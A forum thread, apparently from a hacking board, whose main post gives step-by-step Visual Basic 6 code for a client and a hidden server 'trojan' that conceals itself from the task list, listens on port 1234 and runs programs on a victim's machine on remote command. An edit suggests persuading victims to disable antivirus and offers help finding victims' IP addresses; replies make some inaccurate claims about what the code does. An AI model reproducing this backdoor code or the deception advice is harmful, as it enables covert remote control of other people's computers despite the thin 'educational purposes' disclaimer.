How to make your own trojan EDUCATIONAL PURPOSES ONLY

[Liquid Malfunction]

EDUCATIONAL PURPOSE ONLY I AM NOT RESPONSIBLE FOR WHAT YOU DO WITH THIS INFO(had to include all this **** so somebody doesn't come back to me crying)also you need VB 6

1.to make a trojan horse we need to create two files a Server and a Client

2.Open VB 6 and open a standard exe (its a VB thing)

3.now first we need to Add 1 textbox and 3 command buttons to the form.

4.Change text of Textbox1 to 127.0.0.1 and set Alignment to Center

5.Change the caption of command button 1 to ?connect?

6.change the caption of command button 2 to ?open msn?

7.Change the caption of command button 3 to ?open explorer?

8.Ok now we are going to add the Winsock.ocx by right clicking on the toolbox and clicking components to add the microsoft winsock control 6.0 (SP6)
And add the winsock control to your project

9.Now we are going to code for the client

10.Double click on the connect button to open the code size and add the following code

11.

Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = 1234
Winsock1.Connect
End Sub

Private Sub Command2_Click()
Winsock1.SendData "msn"
End Sub

Private Sub Command3_Click()
Winsock1.SendData "ex"
End Sub

Private Sub Winsock1_Close()
Winsock1.Close
End Sub

Private Sub Winsock1_Connect()
Form1.Caption = "Connected To " & Text1.Text
End Sub

12.That is all for the client now save the project and start up VB again

13.Now we are going to create the Server

14.Start a new standard exe

15.On this form we are only going to add the winsock.ocx control

16.

Private Sub Form_Load()
App.TaskVisible = False ?to make the server unvisible to Ctrl Alt Del
Me.Hide ?hide the Form when load
If App.PrevInstance = True Then
Unload Me ?if the App ir allready running close the App
End If
Winsock1.LocalPort = 1234
Winsock1.Listen ?let the server listen on port 1234 for you to connect
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub



Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data

If data = "msn" Then
On Error Resume Next
?open msn messenger on the server side
Shell ("C:\Program Files\MSN Messenger\msnmsgr.exe")
Shell ("C:\Program\MSN Messenger\msnmsgr.exe")
End If

If data = "ex" Then
On Error Resume Next
?open explorer on the server side
Shell ("C:\Program Files\Internet Explorer\IEXPLORE.EXE")
Shell ("C:\Program\Internet Explorer\IEXPLORE.EXE")
End If

End Sub

17.Enjoy BUT DON'T USE IT


EDIT:also you need to know the victims ip address but this is easy to find if you got any questions on finding ips PM me

EDIT:there is reason I said this is not to be used but i'm pretty sure you could go all "please disable your antivirus before download so the download can finish"

[Clain]

Errrrr a trojan in VB would be picked up by... well even windows defender!

[ugly_rocket]

what does this trojan specifically do?

[Mirror]

Well if you read the code, it says it makes it impossible to use CTRL+ALT+DLT and it ****s up your MSN, and your Windows Explorer.

[Liquid Malfunction]

Well if you read the code, it says it makes it impossible to use CTRL+ALT+DLT and it ****s up your MSN, and your Windows Explorer.

Oh and if you guys didn't know windows explorer is the thing that shows you icons on your desktop and your task bar.This trojan is more for the lolz then serious hacking

[Mirror]

It would be easy to stop it though lol.

Oh btw windows explorer is the thing showing your task bar, pretty everything graphic, so your screwed. lol

But you could always just go to Task Manager, then end process explorer.exe lol, tell them to do that and same thing happens XD